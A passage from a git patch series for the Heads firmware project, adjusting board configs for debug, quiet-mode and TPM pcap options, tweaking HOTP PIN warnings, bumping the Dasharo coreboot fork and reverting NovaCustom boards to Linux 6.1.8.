CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 0e8c84202..6052d5142 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -72,6 +72,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index cdd0c8677..8d9a17120 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #On-demand hardware support (modules.cpio) CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -74,6 +70,13 @@ export CONFIG_AUTO_BOOT_TIMEOUT=5 #export CONFIG_PRIMARY_KEY_TYPE=ecc #TPM1 requirements export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 8508baa8e..cd88741c1 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -15,10 +15,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -68,6 +64,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index 7ca110578..6d50c67f8 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -71,6 +71,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 78cc64922..41d1f2e99 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -13,10 +13,6 @@ export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-x230-maximized.config CONFIG_LINUX_CONFIG=config/linux-x230-maximized.config -#Enable DEBUG output -#export CONFIG_DEBUG_OUTPUT=y -#export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=y - #Additional hardware support CONFIG_LINUX_USB=y CONFIG_LINUX_E1000E=y @@ -62,6 +58,13 @@ CONFIG_FBWHIPTAIL=y #SSH server (requires ethernet drivers, eg: CONFIG_LINUX_E1000E) CONFIG_DROPBEAR=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index c254331d9..f958a4e0f 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -54,6 +54,13 @@ CONFIG_LINUX_USB=y CONFIG_MOBILE_TETHERING=y export CONFIG_TPM=y +#Enable DEBUG output +export CONFIG_DEBUG_OUTPUT=n +export CONFIG_ENABLE_FUNCTION_TRACING_OUTPUT=n +#Enable TPM2 pcap output under /tmp +export CONFIG_TPM2_CAPTURE_PCAP=n +#Enable quiet mode: technical information logged under /tmp/debug.log +export CONFIG_QUIET_MODE=y export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n From d2b84597bf21ede32cad17b86ac700752b82641e Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 11:19:01 -0500 Subject: [PATCH 454/619] tpmr: check for CONFIG_TPM2_CAPTURE_PCAP=y to export TPM comms under /tmp/tpm0.pcap (not just check for existence of CONFIG_TPM2_CAPTURE_PCAP under env) So that export CONFIG_TPM2_CAPTURE_PCAP=n across all boards doesn't break and so that its easy for auditors to just toggle on in board configs Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 84626e886..0572adbbb 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -17,7 +17,7 @@ PCR_SIZE= # Export CONFIG_TPM2_CAPTURE_PCAP=y from your board config to capture tpm2 pcaps to # /tmp/tpm0.pcap; Wireshark can inspect these. (This must be enabled at build # time so the pcap TCTI driver is included.) -if [ -n "$CONFIG_TPM2_CAPTURE_PCAP" ]; then +if [ "$CONFIG_TPM2_CAPTURE_PCAP" == "y" ]; then export TPM2TOOLS_TCTI="pcap:device:/dev/tpmrm0" export TCTI_PCAP_FILE="/tmp/tpm0.pcap" fi From 696ecf54cd38d278495a3119ca8afcd627d6d2bb Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 12:32:45 -0500 Subject: [PATCH 455/619] initrd/bin/seal-hotpkey: fix regression of hotp_verification 1.7+ version bump output parsing for --- initrd/bin/seal-hotpkey | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 7600d03fd..3eb71e549 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -108,7 +108,8 @@ if lsusb | grep -q "20a0:42b2"; then admin_pin_retries=$(echo "$hotp_token_info" | grep "Secrets app PIN counter:" | cut -d ':' -f 2 | tr -d ' ') prompt_message="Secrets app" else - admin_pin_retries=$(echo "$hotp_token_info" | grep "Card counters: Admin" | cut -d ':' -f 2 | tr -d ' ') + # Date: Sat, 21 Dec 2024 13:51:44 -0500 Subject: [PATCH 456/619] seal-hotpkey: change warning when default GPG Admin PIN/Secrets app PIN is detected Additional 0.5h for applying changes linked to code review under https://github.com/linuxboot/heads/pull/1875 Linked to Nitrokey unacknowledged RfP https://github.com/linuxboot/heads/issues/1866 that continues to grow past the 40h (now near 42... but unpaid because 'unplanned'... As if this was planned on my side.) Signed-off-by: Thierry Laurion --- initrd/bin/seal-hotpkey | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/initrd/bin/seal-hotpkey b/initrd/bin/seal-hotpkey index 3eb71e549..6ef5319d5 100755 --- a/initrd/bin/seal-hotpkey +++ b/initrd/bin/seal-hotpkey @@ -167,10 +167,7 @@ if [ "$admin_pin_status" -ne 0 ]; then fi else # remind user to change admin password - warn "Weak OEM default PINs are under use to enforce remote attestation/encryption/signature operations" - warn "$CONFIG_BRAND_NAME security is compromised until the ownership of this device is re-established by changing secrets by non-default values" - warn "You must change current default secrets through 'Options -> OEM Factory Reset/Re-Ownership' menu and not accept the default options" - warn "You will be asked to answer a questionnaire to re-own your device and USB security dongles with new secrets" + warn "Default $prompt_message PIN detected. Please change this as soon as possible with Options > OEM Factory Reset / Re-Ownership" fi # HOTP key no longer needed From af59704bc5c274f247e0c83df194ce0118663dfd Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Sat, 21 Dec 2024 15:05:46 -0500 Subject: [PATCH 457/619] TODOs: remove no more relevant ones code per review Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 1 - modules/linux | 1 - 2 files changed, 2 deletions(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 0572adbbb..391687984 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -644,7 +644,6 @@ tpm1_unseal() { -sz "$sealed_size" \ -of "$sealed_file" || die "Unable to read sealed file from TPM NVRAM" - # TODO: Cannot log + exit instead of dying!?! PASS_ARGS=() if [ "$pass" ]; then diff --git a/modules/linux b/modules/linux index 416d2b8d0..f380ce38f 100644 --- a/modules/linux +++ b/modules/linux @@ -40,7 +40,6 @@ endif linux_base_dir := linux-$(linux_version) -# TODO: fixup the patch process # input file in the heads config/ dir # Allow board config to specialize Linux configuration if necessary linux_kconfig := $(or $(CONFIG_LINUX_CONFIG),config/linux.config) From 618ff26d28edd55faf498563d293842f41124c71 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 9 Jan 2025 13:46:44 -0500 Subject: [PATCH 458/619] functions: remove DO_WITH_DEBUG call for kexec-parse-boot which redirects output to file used to show boot options in GUI Thanks @3hhh for bug in PR bug report at https://github.com/linuxboot/heads/pull/1875#issuecomment-2580660074 This bug is present for all DO_WITH_DEBUG calls to functions redirecting output to file. Signed-off-by: Thierry Laurion --- initrd/etc/functions | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/etc/functions b/initrd/etc/functions index 4da1087a4..db56d3d57 100644 --- a/initrd/etc/functions +++ b/initrd/etc/functions @@ -1176,7 +1176,7 @@ scan_boot_options() { if [ -r $option_file ]; then rm $option_file; fi for i in $(find $bootdir -name "$config"); do - DO_WITH_DEBUG kexec-parse-boot "$bootdir" "$i" >>$option_file + kexec-parse-boot "$bootdir" "$i" >>$option_file done # FC29/30+ may use BLS format grub config files # https://fedoraproject.org/wiki/Changes/BootLoaderSpecByDefault From e2237a6e7357b77e1a453e9438c80fac7c65c0e8 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Fri, 10 Jan 2025 15:26:56 +0100 Subject: [PATCH 459/619] modules/coreboot: bump Dasharo fork for 96GB boot time fix MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: Michał Kopeć --- modules/coreboot | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/coreboot b/modules/coreboot index 16aa7d7b7..771762561 100644 --- a/modules/coreboot +++ b/modules/coreboot @@ -94,7 +94,7 @@ $(eval $(call coreboot_module,purism,24.02.01)) # MSI and NovaCustom NV4xPZ, NS5xPU, V540TU, V560TU boards are based on Dasharo # coreboot fork, based on upstream coreboot version 24.02 coreboot-dasharo_repo := https://github.com/dasharo/coreboot -coreboot-dasharo_commit_hash := 87852b0f89f998ac046e801ae26c6d2cfe85afe7 +coreboot-dasharo_commit_hash := 8adaae026dc055fa8b445fbe32e5146576d56c28 $(eval $(call coreboot_module,dasharo,24.02.01)) coreboot-dasharo_patch_version := unreleased From 3687dcbb5a9893b6f616293af93070de71b10f0a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 19 Dec 2024 13:47:29 -0500 Subject: [PATCH 460/619] config/coreboot-novacustom-v560tu.config: switch CONFIG_USE_PC_CMOS_ALTCENTURY=y to CONFIG_USE_PC_CMOS_ALTCENTURY=n otherwise in year 2070 after initial external flashing Signed-off-by: Thierry Laurion --- config/coreboot-novacustom-v560tu.config | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/config/coreboot-novacustom-v560tu.config b/config/coreboot-novacustom-v560tu.config index 7de172445..01d555a36 100644 --- a/config/coreboot-novacustom-v560tu.config +++ b/config/coreboot-novacustom-v560tu.config @@ -721,7 +721,7 @@ CONFIG_DRIVERS_INTEL_PMC=y # CONFIG_DRIVERS_NXP_UWB_SR1XX is not set # CONFIG_DRIVERS_PS2_KEYBOARD is not set CONFIG_DRIVERS_MC146818=y -CONFIG_USE_PC_CMOS_ALTCENTURY=y +CONFIG_USE_PC_CMOS_ALTCENTURY=n CONFIG_PC_CMOS_BASE_PORT_BANK0=0x70 CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 From b8cb467dd3dd26ff8ff335b1508d7638c7ad269a Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 8 Jan 2025 09:59:16 -0500 Subject: [PATCH 461/619] novacustom boards: rename linux-nittropad-x.config -> linux-novacustom-common.config, switch back to kernel 6.1.8, save config in oldconfig Input for https://github.com/linuxboot/heads/pull/1846 Signed-off-by: Thierry Laurion --- boards/nitropad-ns50/nitropad-ns50.config | 2 +- .../novacustom-v540tu.config | 4 +- .../novacustom-v560tu.config | 4 +- .../novacustom_nv4x_adl.config | 2 +- ....config => linux-novacustom-common.config} | 415 ++++++------------ 5 files changed, 144 insertions(+), 283 deletions(-) rename config/{linux-nitropad-x.config => linux-novacustom-common.config} (92%) diff --git a/boards/nitropad-ns50/nitropad-ns50.config b/boards/nitropad-ns50/nitropad-ns50.config index ffcb94579..425d0680c 100644 --- a/boards/nitropad-ns50/nitropad-ns50.config +++ b/boards/nitropad-ns50/nitropad-ns50.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-nitropad-ns50.config -CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y diff --git a/boards/novacustom-v540tu/novacustom-v540tu.config b/boards/novacustom-v540tu/novacustom-v540tu.config index c95d05861..3441e5e45 100644 --- a/boards/novacustom-v540tu/novacustom-v540tu.config +++ b/boards/novacustom-v540tu/novacustom-v540tu.config @@ -7,10 +7,10 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo -export CONFIG_LINUX_VERSION=6.11.9 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v540tu.config -CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y diff --git a/boards/novacustom-v560tu/novacustom-v560tu.config b/boards/novacustom-v560tu/novacustom-v560tu.config index 51699c4a9..3f06062c4 100644 --- a/boards/novacustom-v560tu/novacustom-v560tu.config +++ b/boards/novacustom-v560tu/novacustom-v560tu.config @@ -7,10 +7,10 @@ export CONFIG_COREBOOT=y export CONFIG_COREBOOT_VERSION=dasharo -export CONFIG_LINUX_VERSION=6.11.9 +export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom-v560tu.config -CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y diff --git a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config index 92ab67d40..256d2ddfc 100644 --- a/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config +++ b/boards/novacustom_nv4x_adl/novacustom_nv4x_adl.config @@ -6,7 +6,7 @@ export CONFIG_COREBOOT_VERSION=dasharo export CONFIG_LINUX_VERSION=6.1.8 CONFIG_COREBOOT_CONFIG=config/coreboot-novacustom_nv4x_adl.config -CONFIG_LINUX_CONFIG=config/linux-nitropad-x.config +CONFIG_LINUX_CONFIG=config/linux-novacustom-common.config #Enable DEBUG output #export CONFIG_DEBUG_OUTPUT=y diff --git a/config/linux-nitropad-x.config b/config/linux-novacustom-common.config similarity index 92% rename from config/linux-nitropad-x.config rename to config/linux-novacustom-common.config index 73bab708e..01bc65f65 100644 --- a/config/linux-nitropad-x.config +++ b/config/linux-novacustom-common.config @@ -1,6 +1,6 @@ # # Automatically generated file; DO NOT EDIT. -# Linux/x86 6.11.9 Kernel Configuration +# Linux/x86 6.1.8 Kernel Configuration # CONFIG_CC_VERSION_TEXT="x86_64-linux-musl-gcc (GCC) 9.4.0" CONFIG_CC_IS_GCC=y @@ -13,7 +13,6 @@ CONFIG_LD_VERSION=23301 CONFIG_LLD_VERSION=0 CONFIG_CC_CAN_LINK=y CONFIG_CC_CAN_LINK_STATIC=y -CONFIG_GCC_ASM_GOTO_OUTPUT_BROKEN=y CONFIG_CC_HAS_ASM_INLINE=y CONFIG_CC_HAS_NO_PROFILE_FN_ATTR=y CONFIG_PAHOLE_VERSION=0 @@ -66,6 +65,7 @@ CONFIG_HARDIRQS_SW_RESEND=y CONFIG_IRQ_DOMAIN=y CONFIG_IRQ_DOMAIN_HIERARCHY=y CONFIG_GENERIC_MSI_IRQ=y +CONFIG_GENERIC_MSI_IRQ_DOMAIN=y CONFIG_IRQ_MSI_IOMMU=y CONFIG_GENERIC_IRQ_MATRIX_ALLOCATOR=y CONFIG_GENERIC_IRQ_RESERVATION_MODE=y @@ -79,7 +79,6 @@ CONFIG_CLOCKSOURCE_VALIDATE_LAST_CYCLE=y CONFIG_GENERIC_TIME_VSYSCALL=y CONFIG_GENERIC_CLOCKEVENTS=y CONFIG_GENERIC_CLOCKEVENTS_BROADCAST=y -CONFIG_GENERIC_CLOCKEVENTS_BROADCAST_IDLE=y CONFIG_GENERIC_CLOCKEVENTS_MIN_ADJUST=y CONFIG_GENERIC_CMOS_UPDATE=y CONFIG_HAVE_POSIX_CPU_TIMERS_TASK_WORK=y @@ -134,6 +133,7 @@ CONFIG_TICK_CPU_ACCOUNTING=y # CONFIG_TREE_RCU=y # CONFIG_RCU_EXPERT is not set +CONFIG_SRCU=y CONFIG_TREE_SRCU=y CONFIG_RCU_STALL_COMMON=y CONFIG_RCU_NEED_SEGCBLIST=y @@ -143,6 +143,7 @@ CONFIG_RCU_NEED_SEGCBLIST=y # CONFIG_IKHEADERS is not set CONFIG_LOG_BUF_SHIFT=18 CONFIG_LOG_CPU_MAX_BUF_SHIFT=12 +CONFIG_PRINTK_SAFE_LOG_BUF_SHIFT=13 CONFIG_HAVE_UNSTABLE_SCHED_CLOCK=y # @@ -155,14 +156,13 @@ CONFIG_ARCH_SUPPORTS_NUMA_BALANCING=y CONFIG_ARCH_WANT_BATCHED_UNMAP_TLB_FLUSH=y CONFIG_CC_HAS_INT128=y CONFIG_CC_IMPLICIT_FALLTHROUGH="-Wimplicit-fallthrough=5" -CONFIG_GCC10_NO_ARRAY_BOUNDS=y -CONFIG_CC_NO_ARRAY_BOUNDS=y -CONFIG_GCC_NO_STRINGOP_OVERFLOW=y -CONFIG_CC_NO_STRINGOP_OVERFLOW=y +CONFIG_GCC11_NO_ARRAY_BOUNDS=y +CONFIG_GCC12_NO_ARRAY_BOUNDS=y CONFIG_ARCH_SUPPORTS_INT128=y # CONFIG_CGROUPS is not set # CONFIG_CHECKPOINT_RESTORE is not set # CONFIG_SCHED_AUTOGROUP is not set +# CONFIG_SYSFS_DEPRECATED is not set # CONFIG_RELAY is not set CONFIG_BLK_DEV_INITRD=y CONFIG_INITRAMFS_SOURCE="@BLOB_DIR@/dev.cpio" @@ -182,7 +182,6 @@ CONFIG_INITRAMFS_COMPRESSION_XZ=y # CONFIG_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_CC_OPTIMIZE_FOR_SIZE=y CONFIG_LD_ORPHAN_WARN=y -CONFIG_LD_ORPHAN_WARN_LEVEL="warn" CONFIG_SYSCTL=y CONFIG_SYSCTL_EXCEPTION_TRACE=y CONFIG_HAVE_PCSPKR_PLATFORM=y @@ -195,7 +194,7 @@ CONFIG_POSIX_TIMERS=y CONFIG_PRINTK=y CONFIG_BUG=y CONFIG_PCSPKR_PLATFORM=y -# CONFIG_BASE_SMALL is not set +CONFIG_BASE_FULL=y CONFIG_FUTEX=y CONFIG_FUTEX_PI=y CONFIG_EPOLL=y @@ -207,13 +206,13 @@ CONFIG_SHMEM=y CONFIG_IO_URING=y # CONFIG_ADVISE_SYSCALLS is not set CONFIG_MEMBARRIER=y -CONFIG_KCMP=y -# CONFIG_RSEQ is not set -CONFIG_CACHESTAT_SYSCALL=y -# CONFIG_PC104 is not set # CONFIG_KALLSYMS is not set CONFIG_ARCH_HAS_MEMBARRIER_SYNC_CORE=y +CONFIG_KCMP=y +# CONFIG_RSEQ is not set +# CONFIG_EMBEDDED is not set CONFIG_HAVE_PERF_EVENTS=y +# CONFIG_PC104 is not set # # Kernel Performance Events And Counters @@ -223,16 +222,6 @@ CONFIG_PERF_EVENTS=y # end of Kernel Performance Events And Counters # CONFIG_PROFILING is not set - -# -# Kexec and crash features -# -CONFIG_KEXEC_CORE=y -CONFIG_KEXEC=y -CONFIG_KEXEC_FILE=y -# CONFIG_KEXEC_SIG is not set -# CONFIG_CRASH_DUMP is not set -# end of Kexec and crash features # end of General setup CONFIG_64BIT=y @@ -254,6 +243,7 @@ CONFIG_ARCH_MAY_HAVE_PC_FDC=y CONFIG_GENERIC_CALIBRATE_DELAY=y CONFIG_ARCH_HAS_CPU_RELAX=y CONFIG_ARCH_HIBERNATION_POSSIBLE=y +CONFIG_ARCH_NR_GPIO=1024 CONFIG_ARCH_SUSPEND_POSSIBLE=y CONFIG_AUDIT_ARCH=y CONFIG_HAVE_INTEL_TXT=y @@ -267,11 +257,11 @@ CONFIG_CC_HAS_SANE_STACKPROTECTOR=y # Processor type and features # CONFIG_SMP=y +CONFIG_X86_FEATURE_NAMES=y CONFIG_X86_X2APIC=y -# CONFIG_X86_POSTED_MSI is not set # CONFIG_X86_MPPARSE is not set +# CONFIG_GOLDFISH is not set # CONFIG_X86_CPU_RESCTRL is not set -# CONFIG_X86_FRED is not set # CONFIG_X86_EXTENDED_PLATFORM is not set # CONFIG_X86_INTEL_LPSS is not set # CONFIG_X86_AMD_PLATFORM_DEVICE is not set @@ -290,7 +280,6 @@ CONFIG_X86_INTEL_USERCOPY=y CONFIG_X86_USE_PPRO_CHECKSUM=y CONFIG_X86_P6_NOP=y CONFIG_X86_TSC=y -CONFIG_X86_HAVE_PAE=y CONFIG_X86_CMPXCHG64=y CONFIG_X86_CMOV=y CONFIG_X86_MINIMUM_CPU_FAMILY=64 @@ -317,7 +306,6 @@ CONFIG_SCHED_SMT=y CONFIG_SCHED_MC=y CONFIG_SCHED_MC_PRIO=y CONFIG_X86_LOCAL_APIC=y -CONFIG_ACPI_MADT_WAKEUP=y CONFIG_X86_IO_APIC=y # CONFIG_X86_REROUTE_FOR_BROKEN_BOOT_IRQS is not set CONFIG_X86_MCE=y @@ -336,6 +324,7 @@ CONFIG_X86_MCE_THRESHOLD=y # CONFIG_X86_VSYSCALL_EMULATION is not set CONFIG_X86_IOPL_IOPERM=y CONFIG_MICROCODE=y +CONFIG_MICROCODE_INTEL=y # CONFIG_MICROCODE_LATE_LOADING is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set @@ -356,25 +345,19 @@ CONFIG_CC_HAS_IBT=y CONFIG_X86_INTEL_TSX_MODE_OFF=y # CONFIG_X86_INTEL_TSX_MODE_ON is not set # CONFIG_X86_INTEL_TSX_MODE_AUTO is not set -# CONFIG_X86_USER_SHADOW_STACK is not set +# CONFIG_X86_SGX is not set CONFIG_EFI=y # CONFIG_EFI_STUB is not set -CONFIG_EFI_RUNTIME_MAP=y # CONFIG_HZ_100 is not set CONFIG_HZ_250=y # CONFIG_HZ_300 is not set # CONFIG_HZ_1000 is not set CONFIG_HZ=250 -CONFIG_ARCH_SUPPORTS_KEXEC=y -CONFIG_ARCH_SUPPORTS_KEXEC_FILE=y -CONFIG_ARCH_SELECTS_KEXEC_FILE=y -CONFIG_ARCH_SUPPORTS_KEXEC_PURGATORY=y -CONFIG_ARCH_SUPPORTS_KEXEC_SIG=y -CONFIG_ARCH_SUPPORTS_KEXEC_SIG_FORCE=y -CONFIG_ARCH_SUPPORTS_KEXEC_BZIMAGE_VERIFY_SIG=y -CONFIG_ARCH_SUPPORTS_KEXEC_JUMP=y -CONFIG_ARCH_SUPPORTS_CRASH_DUMP=y -CONFIG_ARCH_SUPPORTS_CRASH_HOTPLUG=y +CONFIG_KEXEC=y +CONFIG_KEXEC_FILE=y +CONFIG_ARCH_HAS_KEXEC_PURGATORY=y +# CONFIG_KEXEC_SIG is not set +# CONFIG_CRASH_DUMP is not set CONFIG_PHYSICAL_START=0x1000000 CONFIG_RELOCATABLE=y CONFIG_RANDOMIZE_BASE=y @@ -384,6 +367,8 @@ CONFIG_DYNAMIC_MEMORY_LAYOUT=y CONFIG_RANDOMIZE_MEMORY=y CONFIG_RANDOMIZE_MEMORY_PHYSICAL_PADDING=0x0 CONFIG_HOTPLUG_CPU=y +# CONFIG_BOOTPARAM_HOTPLUG_CPU0 is not set +# CONFIG_DEBUG_HOTPLUG_CPU0 is not set # CONFIG_LEGACY_VSYSCALL_XONLY is not set CONFIG_LEGACY_VSYSCALL_NONE=y # CONFIG_CMDLINE_BOOL is not set @@ -392,27 +377,14 @@ CONFIG_LEGACY_VSYSCALL_NONE=y CONFIG_HAVE_LIVEPATCH=y # end of Processor type and features -CONFIG_CC_HAS_NAMED_AS=y -CONFIG_USE_X86_SEG_SUPPORT=y CONFIG_CC_HAS_RETURN_THUNK=y -CONFIG_CC_HAS_ENTRY_PADDING=y -CONFIG_FUNCTION_PADDING_CFI=11 -CONFIG_FUNCTION_PADDING_BYTES=16 -CONFIG_CALL_PADDING=y -CONFIG_HAVE_CALL_THUNKS=y -CONFIG_CALL_THUNKS=y -CONFIG_PREFIX_SYMBOLS=y -CONFIG_CPU_MITIGATIONS=y -CONFIG_MITIGATION_PAGE_TABLE_ISOLATION=y -CONFIG_MITIGATION_RETPOLINE=y -CONFIG_MITIGATION_RETHUNK=y -CONFIG_MITIGATION_CALL_DEPTH_TRACKING=y -# CONFIG_CALL_THUNKS_DEBUG is not set -CONFIG_MITIGATION_IBRS_ENTRY=y -# CONFIG_MITIGATION_GDS_FORCE is not set -CONFIG_MITIGATION_RFDS=y -CONFIG_MITIGATION_SPECTRE_BHI=y +CONFIG_SPECULATION_MITIGATIONS=y +CONFIG_PAGE_TABLE_ISOLATION=y +CONFIG_RETPOLINE=y +CONFIG_RETHUNK=y +CONFIG_CPU_IBRS_ENTRY=y CONFIG_ARCH_HAS_ADD_PAGES=y +CONFIG_ARCH_MHP_MEMMAP_ON_MEMORY_ENABLE=y # # Power management and ACPI options @@ -425,7 +397,6 @@ CONFIG_ACPI=y CONFIG_ACPI_LEGACY_TABLES_LOOKUP=y CONFIG_ARCH_MIGHT_HAVE_ACPI_PDC=y CONFIG_ACPI_SYSTEM_POWER_STATES_SUPPORT=y -CONFIG_ACPI_THERMAL_LIB=y # CONFIG_ACPI_DEBUGGER is not set CONFIG_ACPI_SPCR_TABLE=y # CONFIG_ACPI_FPDT is not set @@ -464,7 +435,6 @@ CONFIG_HAVE_ACPI_APEI_NMI=y # 